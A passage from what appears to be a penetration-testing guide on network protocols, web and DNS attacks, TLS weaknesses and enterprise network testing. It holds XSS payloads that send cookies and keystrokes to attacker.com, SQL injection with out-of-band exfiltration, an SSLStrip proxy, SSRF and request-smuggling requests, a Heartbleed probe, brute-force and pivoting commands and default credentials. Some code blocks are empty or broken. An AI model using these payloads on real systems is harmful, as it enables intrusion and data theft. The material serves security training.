Data format conversion (JPEG, GIF, MPEG)\n- Character encoding (UTF-8, UTF-16, ASCII)\n\n**SSL/TLS Stripping**\n\n**Attack Mechanics:**\n1. Attacker intercepts traffic between client and server (MITM)\n2. When client requests HTTPS, attacker connects to server via HTTPS\n3. Attacker serves HTTP version to client (downgrade)\n4. Client sees HTTP, attacker sees HTTPS\n5. Attacker can read/modify all traffic\n\n**SSLStrip Implementation:**\n```python\n#!/usr/bin/env python3\n# Simplified SSLStrip concept\n\nimport socket\nimport threading\nimport re\n\nclass SSLStripProxy:\n    def __init__(self, listen_port=8080):\n        self.listen_port = listen_port\n        \n    def handle_client(self, client_socket):\n        # Receive client request\n        request = client_socket.recv(4096).decode()\n        \n        # Extract host and path\n        host_match = re.search(r'Host: (.*?)\\r\\n', request)\n        if host_match:\n            host = host_match.group(1)\n            \n            # Connect to target (HTTPS)\n            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            server_socket.connect((host, 443))\n            \n            # Upgrade request to HTTPS\n            request = request.replace('http://', 'https://')\n            \n            # Send to server\n            server_socket.send(request.encode())\n            \n            # Get response\n            response = server_socket.recv(4096)\n            \n            # Downgrade response to HTTP\n            response = response.replace(b'https://', b'http://')\n            \n            # Send to client\n            client_socket.send(response)\n            \n            client_socket.close()\n            server_socket.close()\n    \n    def run(self):\n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.bind(('0.0.0.0', self.listen_port))\n        server.listen(5)\n        \n        print(f\"[*] SSLStrip proxy listening on port {self.listen_port}\")\n        \n        while True:\n            client, addr = server.accept()\n            print(f\"[+] Connection from {addr[0]}:{addr[1]}\")\n            \n            thread = threading.Thread(target=self.handle_client, args=(client,))\n            thread.start()\n\n# sslstrip = SSLStripProxy()\n# sslstrip.run()\n```\n\n**HSTS Bypass:**\nHTTP Strict Transport Security (HSTS) prevents SSL stripping:\n- Browser remembers sites should only be accessed via HTTPS\n- Preloaded HSTS lists (Chrome, Firefox)\n- Bypass techniques:\n  - First visit (if never visited before)\n  - HSTS super-cookies (tracking)\n  - Subdomain with missing HSTS\n  - DNS rebinding\n\n**Encoding Attacks**\n\n**Character Encoding Confusion:**\nDifferent encodings can interpret same bytes differently:\n\n```python\n# UTF-7 XSS\npayload = \"+ADw-script+AD4-alert(1)+ADw-/script+AD4-\"\n\n# Double encoding\npayload = \"%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n\n# UTF-16 encoding\npayload = \"\\x00<\\x00s\\x00c\\x00r\\x00i\\x00p\\x00t\\x00>\"\n```\n\n**Unicode Normalization Attacks:**\nUnicode characters can be represented in multiple ways:\n- **Canonical equivalence:** Different sequences represent same character\n- **Compatibility equivalence:** Stylistic variants\n- **Normalization forms:** NFC, NFD, NFKC, NFKD\n\n**Unicode Attack Example:**\n```python\n# Different representations of \"\u00e9\"\n# NFC: \\u00e9 (single character)\n# NFD: e\\u0301 (e + combining acute)\n\n# Bypass filters by using different normalization\npayload = \"caf\\u00e9\"  # vs \"cafe\\u0301\"\n```\n\n**Encryption Oracle Attacks**\n\n**Padding Oracle Attack:**\nWhen encryption padding is validated and errors reveal information:\n\n```python\n# Padding oracle vulnerability (CBC mode)\n# Server responds differently to valid vs invalid padding\n# Attacker can decrypt data byte by byte\n\ndef padding_oracle_attack(ciphertext, oracle_function):\n    \"\"\"Simplified padding oracle attack concept\"\"\"\n    block_size = 16\n    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]\n    \n    decrypted = b''\n    \n    for block_num in range(len(blocks)-1):\n        # Decrypt each block using padding oracle\n        # (Complex - requires 256 attempts per byte)\n        pass\n    \n    return decrypted\n```\n\n**Famous Padding Oracle Attacks:**\n- **POODLE:** Padding Oracle On Downgraded Legacy Encryption\n- **Lucky 13:** Timing attacks on CBC padding\n- **BEAST:** Browser Exploit Against SSL/TLS\n\n#### Application Layer (Layer 7) Web Attacks\n\nThe application layer is where web applications operate, providing the richest attack surface:\n\n**HTTP Protocol Fundamentals**\n\n**HTTP/1.1 Features:**\n- Text-based protocol with human-readable headers\n- Connection: keep-alive enables multiple requests per connection\n- Pipelining allows multiple requests without waiting (rarely used)\n- Chunked transfer encoding for dynamic content\n- Host header for virtual hosting\n\n**HTTP/1.1 Request Structure:**\n```\nGET /path/file.html HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0\nAccept: text/html,application/xhtml+xml\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\n\n[request body - for POST/PUT]\n```\n\n**HTTP/1.1 Response Structure:**\n```\nHTTP/1.1 200 OK\nDate: Mon, 23 May 2024 22:38:34 GMT\nServer: Apache/2.4.41 (Ubuntu)\nLast-Modified: Wed, 22 Jan 2024 19:15:56 GMT\nContent-Type: text/html\nContent-Length: 1234\n\n[response body]\n```\n\n**HTTP/2 Improvements:**\n- **Binary protocol:** Not human-readable, more efficient\n- **Multiplexing:** Multiple streams over single connection\n- **Header compression:** HPACK reduces overhead\n- **Server push:** Server can push resources proactively\n- **Stream prioritization:** Control resource loading order\n- **Connection preface:** Mandatory connection preface\n\n**HTTP/2 Frame Types:**\n- **DATA:** Carries request/response body\n- **HEADERS:** Contains header block fragment\n- **PRIORITY:** Specifies stream priority\n- **RST_STREAM:** Terminates stream\n- **SETTINGS:** Configures connection parameters\n- **PUSH_PROMISE:** Server push notification\n- **PING:** Round-trip time measurement\n- **GOAWAY:** Graceful connection shutdown\n- **WINDOW_UPDATE:** Flow control\n- **CONTINUATION:** Continue header block\n\n**HTTP/2 Attack Vectors:**\n- **HPACK Bomb:** Compressed headers that expand enormously\n- **Stream multiplexing DoS:** Many streams exhausting resources\n- **Dependency tree attacks:** Complex stream dependencies\n- **SETTINGS flooding:** Excessive SETTINGS frames\n- **PUSH_PROMISE abuse:** Unwanted resource pushes\n\n**HTTP/3 and QUIC:**\n- Built on UDP instead of TCP\n- Faster connection establishment (0-RTT)\n- Built-in encryption (always TLS 1.3)\n- Connection migration (change IP mid-session)\n- Stream multiplexing without head-of-line blocking\n- Testing challenges: Limited tool support\n\n**Common Application Layer Attacks**\n\n**Cross-Site Scripting (XSS):**\nInjecting malicious scripts into web pages viewed by others:\n- **Reflected XSS:** Script in request, reflected in response\n- **Stored XSS:** Script stored on server, served to all visitors\n- **DOM-based XSS:** Vulnerability in client-side JavaScript\n\n**XSS Payload Examples:**\n```javascript\n// Basic alert\nalert(1)\n\n// Cookie stealing\nfetch('http://attacker.com/steal?cookie='+document.cookie)\n\n// Keylogging\n\ndocument.onkeypress = function(e) {\n    fetch('http://attacker.com/key?k='+e.key);\n}\n\n\n// Port scanning (intranet)\n\nfor(let i=1;i<255;i++) {\n    new Image().src = 'http://192.168.1.'+i+':8080';\n}\n\n```\n\n**SQL Injection:**\nInjecting SQL commands into database queries:\n```sql\n-- Basic authentication bypass\n' OR '1'='1' --\n\n-- Union-based extraction\n' UNION SELECT username,password FROM users --\n\n-- Blind SQL injection (time-based)\n' OR IF(1=1,SLEEP(5),0) --\n\n-- Out-of-band extraction\n' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',(SELECT password),'.attacker.com\\\\test')) --\n```\n\n**Cross-Site Request Forgery (CSRF):**\nForcing authenticated user to perform unintended actions:\n```html\n\n\n\n    \n    \n\ndocument.getElementById('csrf').submit();\n```\n\n**XML External Entity (XXE) Attacks:**\nExploiting XML parsers to access local files or perform SSRF:\n```xml\n\n\n\n]>\n&xxe;\n```\n\n**Server-Side Request Forgery (SSRF):**\nTricking server into making requests to internal resources:\n```http\nPOST /api/fetch HTTP/1.1\nHost: vulnerable.com\n\nurl=http://169.254.169.254/latest/meta-data/\n```\n\n## 1.2 TCP/IP Protocol Suite Deep Dive\n\nThe TCP/IP model collapses OSI layers into four functional layers, representing the actual protocol stack used on the internet.\n\n### Application Layer Protocols for Web Testing\n\n#### HTTP/1.1, HTTP/2, and HTTP/3 (QUIC)\n\nUnderstanding HTTP protocol versions is essential for modern web testing:\n\n**HTTP/1.1 Characteristics:**\n\n**Persistent Connections:**\n- Multiple requests per TCP connection (Connection: keep-alive)\n- Reduces connection overhead\n- Can lead to head-of-line blocking\n\n**Pipelining:**\n- Send multiple requests without waiting for responses\n- Responses must arrive in same order\n- Rarely implemented due to complexity and HOL blocking\n\n**Chunked Transfer Encoding:**\n- Send data in chunks when size unknown\n- Each chunk: [size in hex]\\r\\n[data]\\r\\n\n- Final chunk: 0\\r\\n\\r\\n\n\n**HTTP/1.1 Vulnerabilities:**\n\n**Request Smuggling:**\nDue to ambiguous handling of Content-Length vs Transfer-Encoding:\n\n```http\nPOST / HTTP/1.1\nHost: vulnerable.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nGET /admin HTTP/1.1\nHost: vulnerable.com\n```\n\n**Response Splitting:**\nInjecting CRLF to split responses:\n\n```http\nGET /redirect?url=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0aXSS\n```\n\n**HTTP/2 Features and Attack Surfaces:**\n\n**Binary Framing:**\n- All messages split into frames\n- Streams for multiplexing\n- No text-based parsing ambiguities\n\n**HPACK Compression:**\n- Compresses headers using Huffman coding\n- Static and dynamic tables\n- **Attack:** HPACK bomb - tiny compressed payload expands massively\n\n**Stream Multiplexing:**\n- Multiple streams over single connection\n- Stream prioritization (weight, dependency)\n- **Attack:** Dependency tree DoS - complex dependencies exhaust server\n\n**Server Push:**\n- Server can push resources before requested\n- **Attack:** Push flood - overwhelm client with unwanted resources\n\n**HTTP/2 Vulnerabilities:**\n\n**HPACK Bomb:**\n```python\n# Create tiny compressed header that expands to huge size\n# Using Huffman encoding of repeated patterns\n```\n\n**Stream ID Exhaustion:**\n```python\n# Create 2^31-1 streams, exhausting server resources\nfor i in range(1, 2**31):\n    send_headers(stream_id=i)\n```\n\n**SETTINGS Flood:**\n```python\n# Send many SETTINGS frames, consuming resources\nfor i in range(10000):\n    send_settings_frame()\n```\n\n**HTTP/3 (QUIC) Features:**\n\n**Built on UDP:**\n- No TCP head-of-line blocking\n- Faster connection establishment (0-RTT)\n- Connection migration (IP address changes)\n\n**Always Encrypted:**\n- TLS 1.3 built-in (no optional encryption)\n- No plaintext version\n\n**Stream Multiplexing:**\n- Independent streams (no HOL blocking)\n- Stream IDs (client-initiated odd, server-initiated even)\n\n**QUIC Frames:**\n- **STREAM:** Carries HTTP data\n- **ACK:** Acknowledgment\n- **CRYPTO:** TLS handshake\n- **CONNECTION_CLOSE:** Termination\n- **NEW_CONNECTION_ID:** Connection migration\n- **MAX_STREAMS:** Flow control\n\n**HTTP/3 Testing Challenges:**\n- Traditional tools (Wireshark, tcpdump) limited QUIC support\n- Decryption requires TLS keys\n- Many scanners don't support QUIC\n- Need specialized tools (qvis, quic-tracker)\n\n#### DNS (Domain Name System) in Penetration Testing\n\nDNS is fundamental to web operations and provides numerous testing opportunities:\n\n**DNS Record Types:**\n- **A:** IPv4 address\n- **AAAA:** IPv6 address\n- **CNAME:** Canonical name (alias)\n- **MX:** Mail exchange\n- **NS:** Name server\n- **TXT:** Text record (SPF, DKIM, verification)\n- **SOA:** Start of authority\n- **PTR:** Pointer (reverse DNS)\n- **SRV:** Service location\n- **CAA:** Certification Authority Authorization\n\n**DNS Enumeration Techniques:**\n\n**Zone Transfer (AXFR):**\n```bash\n# Basic zone transfer\ndig axfr @ns1.target.com target.com\n\n# Zone transfer from all name servers\nfor ns in $(dig ns target.com +short); do\n    dig axfr target.com @$ns\ndone\n\n# Using dnsrecon\ndnsrecon -d target.com -t axfr\n```\n\n**Subdomain Brute-Forcing:**\n```bash\n# Using gobuster\ngobuster dns -d target.com -w subdomains.txt -t 50\n\n# Using massdns (high-performance)\nmassdns -r resolvers.txt -t A -w results.txt subdomains.txt\n\n# Using ffuf (web fuzzing for vhosts)\nffuf -w subdomains.txt -u http://target.com -H \"Host: FUZZ.target.com\" -fs 1234\n```\n\n**DNS Cache Snooping:**\n```bash\n# Determine recently queried domains\ndig +norecurse @target-dns target.com\n\n# Check if domain is cached\ndig +norecurse @target-dns non-existent-domain.target.com\n# Compare response times\n```\n\n**Reverse DNS Lookups:**\n```bash\n# Reverse lookup single IP\ndig -x 192.168.1.1\n\n# Reverse lookup IP range\nfor ip in $(seq 1 254); do\n    dig -x 192.168.1.$ip +short\ndone\n\n# Using dnsrecon reverse\ndnsrecon -r 192.168.1.0/24 -n 8.8.8.8\n```\n\n**DNS Wildcard Detection:**\n```bash\n# Check for wildcard records\ndig random-string-that-doesnt-exist.target.com\n\n# If returns IP, wildcard present\n# Need to filter wildcards in enumeration\n```\n\n**DNS Attack Vectors:**\n\n**DNS Cache Poisoning:**\n\n**Classic Kaminsky Attack:**\n1. Query non-existent subdomain (rand1.target.com)\n2. Spoofed response includes additional record for target.com\n3. Poison recursive resolver's cache\n4. Repeat with different random subdomains\n\n**Kaminsky Attack Implementation (Conceptual):**\n```python\nimport random\nimport socket\n\ndef kaminsky_attack(target_domain, target_ns, victim_resolver):\n    \"\"\"Kaminsky DNS cache poisoning attack\"\"\"\n    # Generate random subdomain\n    sub = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(10))\n    qname = f\"{sub}.{target_domain}\"\n    \n    # Query victim resolver\n    # Send spoofed response with additional records\n    # Repeat until success\n    pass\n```\n\n**DNS Tunneling:**\n\n**How DNS Tunneling Works:**\n1. Encode data in DNS queries (subdomain labels)\n2. Send to attacker-controlled DNS server\n3. Server extracts data and responds\n4. Responses can carry data back\n\n**DNS Tunneling Tools:**\n```bash\n# iodine (IP over DNS)\niodine -f -P password dns-server.example.com\n\n# dnscat2 (Command & Control)\ndnscat2-server dns-server.example.com\ndnscat2 --dns server=dns-server.example.com\n\n# dns2tcp\ndns2tcpd -f /etc/dns2tcpd.conf\ndns2tcpc -z dns-server.example.com -l 8888 -r ssh\n```\n\n**Detection:**\n- Unusually long domain names\n- High query frequency\n- Non-standard record types (TXT with large data)\n- Random-looking subdomains\n\n**DNS Rebinding:**\n\n**Attack Flow:**\n1. Attacker controls malicious.com with short TTL\n2. Victim visits malicious.com, downloads JavaScript\n3. JavaScript makes requests to malicious.com\n4. DNS resolves to attacker IP (first response)\n5. Attacker changes DNS to internal IP (127.0.0.1, 192.168.1.1)\n6. Browser same-origin allows request to internal IP\n\n**DNS Rebinding Implementation:**\n```python\n# Simple DNS rebinding server\nimport socket\nimport threading\n\nclass DNSRebinder:\n    def __init__(self):\n        self.first_answer = \"1.2.3.4\"  # External IP\n        self.second_answer = \"127.0.0.1\"  # Internal IP\n        self.queries = {}\n    \n    def handle_dns(self, data, addr, sock):\n        # Parse DNS query\n        # Count queries per client\n        client = addr[0]\n        self.queries[client] = self.queries.get(client, 0) + 1\n        \n        if self.queries[client] == 1:\n            response_ip = self.first_answer\n        else:\n            response_ip = self.second_answer\n        \n        # Build spoofed DNS response\n        # Send back\n        pass\n```\n\n**DNS Rebinding Defenses:**\n- DNS pinning (browsers cache DNS for 60 seconds minimum)\n- Host header validation\n- Same-origin policy enhancements\n- Network filtering (block private IP responses)\n\n**Domain Generation Algorithms (DGA):**\n\nMalware uses DGA to generate domain names for C2:\n- **Based on date:** Daily domains (e.g., Conficker)\n- **Hash-based:** Generate from seed\n- **Word-based:** Combine dictionary words\n\n**DGA Analysis:**\n```python\nimport hashlib\nimport datetime\n\ndef conficker_dga(date):\n    \"\"\"Conficker DGA (simplified)\"\"\"\n    seed = date.strftime(\"%Y%m%d\")\n    domains = []\n    \n    for i in range(50):\n        domain = hashlib.md5(f\"{seed}{i}\".encode()).hexdigest()[:8] + \".com\"\n        domains.append(domain)\n    \n    return domains\n```\n\n#### TLS/SSL Protocol Security\n\nTransport Layer Security protects web communications but introduces its own attack surface:\n\n**TLS Protocol Versions:**\n- **SSLv2 (1995):** Broken (multiple vulnerabilities)\n- **SSLv3 (1996):** POODLE attack, deprecated\n- **TLS 1.0 (1999):** BEAST, Lucky 13, deprecated\n- **TLS 1.1 (2006):** CBC attacks, deprecated\n- **TLS 1.2 (2008):** Currently widely used\n- **TLS 1.3 (2018):** Modern, secure, recommended\n\n**TLS Handshake (1.2):**\n1. **Client Hello:** Supported versions, ciphers, extensions\n2. **Server Hello:** Selected version, cipher, certificate\n3. **Certificate:** Server's certificate chain\n4. **Server Key Exchange:** (if needed) DH parameters\n5. **Server Hello Done:** Ready for client\n6. **Client Key Exchange:** Pre-master secret (encrypted)\n7. **Change Cipher Spec:** Switch to encrypted\n8. **Finished:** Verify handshake\n9. **Change Cipher Spec/Finished:** Server confirms\n\n**TLS Handshake (1.3):**\n- Reduced round trips (1-RTT, 0-RTT with resumption)\n- Removed weak/obsolete features\n- Encrypted handshake (most messages encrypted)\n- Forward secrecy by default\n\n**TLS Attack Vectors:**\n\n**Version Downgrade Attacks:**\nForce client and server to use older, vulnerable versions:\n```python\n# MITM modifying Client Hello\n# Remove higher versions, leave only SSLv3/TLS 1.0\n```\n\n**Cipher Suite Downgrade:**\nForce negotiation of weak ciphers:\n```python\n# Modify Client Hello to only include weak ciphers\n# e.g., export-grade ciphers, NULL encryption, RC4\n```\n\n**Certificate Validation Bypass:**\nExploit improper validation:\n- Missing hostname verification\n- Accepting self-signed certificates\n- Not checking revocation\n- Weak signature algorithms\n\n**Famous TLS Attacks:**\n\n**POODLE (Padding Oracle On Downgraded Legacy Encryption):**\n- Targets SSLv3 CBC mode padding\n- Attacker can decrypt cookies\n- Mitigation: Disable SSLv3\n\n**BEAST (Browser Exploit Against SSL/TLS):**\n- Exploits CBC mode in TLS 1.0\n- Predictable IV allows chosen plaintext attacks\n- Mitigation: Use TLS 1.1+ or RC4 (now also broken)\n\n**CRIME (Compression Ratio Info-leak Made Easy):**\n- Exploits TLS compression\n- Attacker injects data, observes compression ratio\n- Can steal session cookies\n- Mitigation: Disable TLS compression\n\n**BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext):**\n- Similar to CRIME but exploits HTTP compression\n- Works even with TLS compression disabled\n- Mitigation: Disable HTTP compression, CSRF tokens\n\n**Heartbleed (CVE-2014-0160):**\n- Buffer over-read in OpenSSL heartbeat extension\n- Leaks server memory (private keys, session data)\n- Affected OpenSSL 1.0.1-1.0.1f\n\n**Heartbleed Exploit:**\n```python\n# Simplified Heartbleed check\nimport socket\nimport struct\n\ndef heartbleed_check(host, port=443):\n    \"\"\"Check for Heartbleed vulnerability\"\"\"\n    # TLS heartbeat request with invalid length\n    heartbeat = (\n        b\"\\x18\"  # Heartbeat\n        b\"\\x03\\x02\"  # TLS version\n        b\"\\x00\\x03\"  # Length\n        b\"\\x01\"  # Heartbeat request\n        b\"\\x40\\x00\"  # Payload length (16384)\n    )\n    \n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((host, port))\n    \n    # Send Client Hello\n    # Receive response\n    # Send heartbeat\n    s.send(heartbeat)\n    \n    response = s.recv(1024)\n    if len(response) > 7:  # More than heartbeat response\n        print(f\"[!] {host} may be vulnerable to Heartbleed\")\n    \n    s.close()\n```\n\n**ROBOT (Return Of Bleichenbacher's Oracle Threat):**\n- RSA oracle attacks\n- Can decrypt RSA-encrypted pre-master secrets\n- Affects many implementations\n\n**Certificate Transparency and Reconnaissance:**\n\nCertificate Transparency logs provide valuable reconnaissance data:\n```bash\n# Query crt.sh for subdomains\ncurl -s \"https://crt.sh/?q=%.target.com&output=json\" | jq -r '.[].name_value' | sort -u\n\n# Using certspotter\ncertspotter -domain target.com\n\n# Using censys\ncensys certificates -q \"parsed.names: target.com\"\n```\n\n**Certificate Misconfigurations to Test:**\n- **Expired certificates:** May indicate poor maintenance\n- **Self-signed:** Possible internal systems exposed\n- **Weak signature:** MD5, SHA1 (deprecated)\n- **Wildcard certificates:** *.target.com (broad scope)\n- **Missing SANs:** Subject Alternative Names\n- **Revoked certificates:** CRL/OCSP status\n- **Mismatched names:** Certificate for different domain\n\n---\n\n# Part 2: Network Architecture for Penetration Testers\n\n## 2.1 Enterprise Network Topologies\n\nUnderstanding how enterprise networks are structured helps penetration testers identify the most valuable targets and the paths to reach them.\n\n### Traditional Three-Tier Architecture\n\n**Core Layer:**\nThe high-speed backbone connecting distribution layers. Core switches and routers handle massive traffic volumes and must be highly available. From a penetration testing perspective, the core represents the ultimate target - compromise here means control over all network traffic.\n\n**Core Layer Characteristics:**\n- High-speed switching (10/40/100 Gbps)\n- Redundant links and devices\n- Minimal policy enforcement (performance focus)\n- Connects to data center, internet edge, WAN\n- Often uses dynamic routing (OSPF, BGP)\n\n**Core Layer Attack Surface:**\n- **Management interfaces:** Usually restricted, but if exposed...\n- **Routing protocols:** BGP/OSPF manipulation\n- **Physical access:** Most critical, best protected\n- **Firmware vulnerabilities:** Cisco, Juniper, Arista CVEs\n\n**Distribution Layer:**\nAggregates access layer switches and implements policies like routing, filtering, and QoS. Distribution switches often contain ACLs and VLAN configurations that segment network zones.\n\n**Distribution Layer Functions:**\n- Route aggregation (summarization)\n- VLAN routing (inter-VLAN communication)\n- Policy enforcement (ACLs, QoS)\n- Redundancy (HSRP, VRRP, GLBP)\n- Broadcast domain boundary\n\n**Distribution Layer Attack Surface:**\n- **Inter-VLAN routing:** Gateway between segments\n- **First-hop redundancy protocols:** HSRP/VRRP attacks\n- **ACL misconfigurations:** Overly permissive rules\n- **VLAN configurations:** Trunk ports, native VLAN\n\n**Access Layer:**\nWhere end-user devices connect. Access switches provide port security, 802.1X authentication, and VLAN assignment. Compromising access layer devices can provide footholds into sensitive network segments.\n\n**Access Layer Features:**\n- Port security (MAC limiting)\n- 802.1X authentication\n- DHCP snooping\n- Dynamic ARP inspection\n- Spanning tree features (PortFast, BPDU Guard)\n- PoE (Power over Ethernet)\n\n**Access Layer Attack Surface:**\n- **Physical ports:** Direct network access\n- **Authentication bypass:** 802.1X weaknesses\n- **VLAN hopping:** Trunk misconfigurations\n- **STP attacks:** BPDU manipulation\n- **CDP/LLDP:** Information leakage\n\n### Modern Network Architectures\n\n**Leaf-Spine Architecture (Data Centers):**\nIn modern data centers, leaf switches connect to servers, and spine switches connect all leaf switches in a full mesh. This provides predictable latency and high bandwidth between any two points.\n\n**Leaf-Spine Characteristics:**\n- **Leaf switches:** Connect to servers, storage, firewalls\n- **Spine switches:** Connect only to leaves (no server connections)\n- **Full mesh:** Every leaf connects to every spine\n- **Equal-cost multipath (ECMP):** Load balancing across spines\n- **Predictable latency:** Same number of hops between any two leaves\n\n**Testing Implications:**\n- East-west traffic visibility challenges\n- ECMP makes traffic flow prediction difficult\n- Overlay networks (VXLAN) obscure traditional boundaries\n- Spine compromise provides complete network visibility\n\n**Software-Defined Networking (SDN):**\nSDN separates the control plane (decision-making) from the data plane (packet forwarding). The centralized controller represents a high-value target.\n\n**SDN Architecture:**\n- **Application layer:** Network applications, orchestration\n- **Control layer:** SDN controller (OpenDaylight, ONOS, NSX)\n- **Infrastructure layer:** Physical/virtual switches\n- **Southbound APIs:** OpenFlow, OVSDB, NETCONF\n- **Northbound APIs:** REST APIs for applications\n\n**SDN Attack Surface:**\n- **Controller compromise:** Control entire network\n- **API security:** REST API vulnerabilities\n- **Flow table manipulation:** Modify forwarding rules\n- **Controller-controller communication:** Clustering attacks\n- **Application security:** Malicious SDN apps\n\n**SDN Attack Vectors:**\n\n**Controller Compromise:**\n```python\n# Hypothetical SDN controller exploit\nimport requests\n\n# Find exposed controller API\ncontrollers = scan_network(\":8080\")  # OpenDaylight default\n\nfor controller in controllers:\n    # Try default credentials\n    response = requests.get(f\"http://{controller}/restconf/operational/opendaylight-inventory:nodes\",\n                           auth=(\"admin\", \"admin\"))\n    \n    if response.status_code == 200:\n        print(f\"[+] Access to controller {controller}\")\n        # Can now modify flows, monitor traffic\n```\n\n**Flow Table Flooding:**\n```python\n# Send many new flow requests to exhaust TCAM\nfor i in range(10000):\n    send_packet_with_unique_flow()\n```\n\n**Network Virtualization Overlays:**\nTechnologies like VXLAN and NVGRE create virtual networks over physical infrastructure:\n\n**VXLAN (Virtual Extensible LAN):**\n- Encapsulates layer 2 in UDP (port 4789)\n- 24-bit VNI (16 million segments vs 4094 VLANs)\n- MAC-in-UDP encapsulation\n- Requires multicast or EVPN for flooding\n\n**VXLAN Header:**\n```\nOuter Ethernet | Outer IP | Outer UDP | VXLAN (8 bytes) | Inner Ethernet | Payload\n```\n\n**VXLAN Attack Surface:**\n- **VTEP (VXLAN Tunnel Endpoint) vulnerabilities**\n- **VNI hopping:** Escaping tenant isolation\n- **Encapsulation attacks:** Malformed packets\n- **Multicast group poisoning:** Intercept traffic\n- **ARP suppression bypass:** Poison VTEP caches\n\n## 2.2 Network Segmentation and Security Zones\n\n### Demilitarized Zone (DMZ) Architecture\n\nTraditional DMZs place public-facing servers in a network segment with restricted access to internal networks.\n\n**Single Firewall (Three-Legged) DMZ:**\nOne firewall with three interfaces: internet, DMZ, and internal network. The firewall enforces different policies between each zone.\n\n**Traffic Flows:**\n- **Internet \u2192 DMZ:** Allowed (web, mail, DNS)\n- **DMZ \u2192 Internal:** Restricted (only specific services)\n- **Internal \u2192 Internet:** Allowed (with NAT/proxy)\n- **Internal \u2192 DMZ:** Allowed (management, updates)\n\n**Vulnerabilities:**\n- Single point of failure (firewall compromise = full access)\n- Complex rule sets (misconfigurations common)\n- DMZ to internal may be too permissive\n\n**Dual Firewall DMZ:**\nInternet-facing firewall protects DMZ, internal firewall protects corporate network.\n\n**Advantages:**\n- Compromise of DMZ doesn't automatically grant internal access\n- Defense in depth\n- Different firewall vendors (avoid same vulnerability)\n\n**Penetration Testing DMZ Focus:**\n\n**DMZ Host Assessment:**\n```bash\n# Scan DMZ range for exposed services\nnmap -sS -sV -p- 192.168.1.0/24\n\n# Check for internal trust relationships\n# Look for NFS mounts, Windows trusts, SSH keys\n```\n\n**Firewalking (Firewall Rule Detection):**\n```bash\n# Determine firewall rules by TTL expiration\nfirewalk -S 1-100 -i eth0 -p TCP target_gateway target_host\n```\n\n**DMZ to Internal Pivoting:**\n```python\n# After compromising DMZ host, scan internal network\n# Use compromised host as proxy\nimport socket\nimport socks\n\n# Set up SOCKS proxy through compromised host\nsocks.set_default_proxy(socks.SOCKS5, \"compromised-dmz-host\", 1080)\nsocket.socket = socks.socksocket\n\n# Now scan internal network through proxy\nfor i in range(1,255):\n    try:\n        s = socket.socket()\n        s.settimeout(1)\n        s.connect((\"192.168.10.\" + str(i), 445))\n        print(f\"Found internal host: 192.168.10.{i}\")\n    except:\n        pass\n```\n\n### Network Segmentation Testing\n\nProper network segmentation limits breach impact. Penetration testers should assess:\n\n**VLAN Segmentation:**\n- VLAN hopping vulnerabilities\n- Trunk port misconfigurations\n- Inter-VLAN routing restrictions\n- Voice VLAN isolation (often poorly secured)\n\n**VLAN Hopping Testing:**\n```python\n# Test for VLAN hopping via double tagging\nfrom scapy.all import *\n\ndef test_double_tagging(interface, target_vlan):\n    \"\"\"Test if double tagging works\"\"\"\n    # Frame with two VLAN tags\n    frame = Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ \\\n            Dot1Q(vlan=1)/ \\  # Native VLAN (usually 1)\n            Dot1Q(vlan=target_vlan)/ \\  # Target VLAN\n            IP(dst=\"192.168.{}.1\".format(target_vlan))/ \\\n            ICMP()\n    \n    response = srp1(frame, iface=interface, timeout=2)\n    if response:\n        print(f\"[+] Double tagging to VLAN {target_vlan} successful\")\n```\n\n**Micro-segmentation (Zero Trust):**\nIn zero trust architectures, segmentation occurs at the workload level, often using host-based firewalls or service meshes.\n\n**Zero Trust Principles:**\n- Never trust, always verify\n- Assume breach\n- Least privilege access\n- Micro-segmentation\n- Continuous monitoring\n\n**Testing Zero Trust Environments:**\n```bash\n# Test host-based firewall rules\nnmap -sS -p 3306 database-server.internal\n\n# Test service mesh policies\n# Attempt to access unauthorized services\ncurl -H \"Authorization: invalid\" internal-service:8080\n\n# Test identity-based access\n# Try stolen credentials from different hosts\n```\n\n## 2.3 Network Devices: Attack Surface Analysis\n\n### Router Security Assessment\n\nRouters direct traffic between networks and often serve as the first line of defense.\n\n**Router Configuration Vulnerabilities:**\n\n**Default Credentials:**\n```bash\n# Test common router default credentials\nhydra -l admin -P default-passwords.txt -t 4 192.168.1.1 http-get /\nhydra -l root -P default-passwords.txt 192.168.1.1 ssh\n```\n\n**Common Default Credentials:**\n- admin/admin\n- admin/password\n- cisco/cisco\n- cisco/C1sc0!\n- root/root\n- admin/1234\n- Administrator/administrator\n\n**SNMP Community Strings:**\n```bash\n# SNMP enumeration with default communities\nsnmpwalk -v2c -c public 192.168.1.1 system\nsnmpwalk -v2c -c private 192.168.1.1 system\nsnmpwalk -v2c -c manager 192.168.1.1 system\n\n# SNMP brute force\nonesixtyone -c community.txt -i hosts.txt\n```\n\n**Unnecessary Services:**\n```bash\n# Scan for enabled services\nnmap -sS -sV -p- 192.168.1.1\n\n# Common unnecessary services:\n# - HTTP/HTTPS admin (should be restricted)\n# - Telnet (use SSH instead)\n# - SNMP (if not needed)\n# - Finger (information disclosure)\n# - Chargen (DoS risk)\n# - Daytime, Time (information disclosure)\n```\n\n**Weak Passwords:**\n```bash\n# SSH brute force\nhydra -l admin -P rockyou.txt 192.168.1.1 ssh\n\n# HTTP basic auth brute force\nhydra -l admin -P rockyou.txt 192.168.1.1 http-get /\n```\n\n**Missing Encryption:**\n```bash\n# Check for Telnet (unencrypted)\nnc -nv 192.168.1.1 23\n\n# Check for HTTP (should be HTTPS)\ncurl -I http://192.168.1.1\n```\n\n**Routing Protocol Security:**\n\n**BGP Security Testing:**\n```bash\n# Check BGP configuration (if accessible)\nshow ip bgp summary\nshow ip bgp 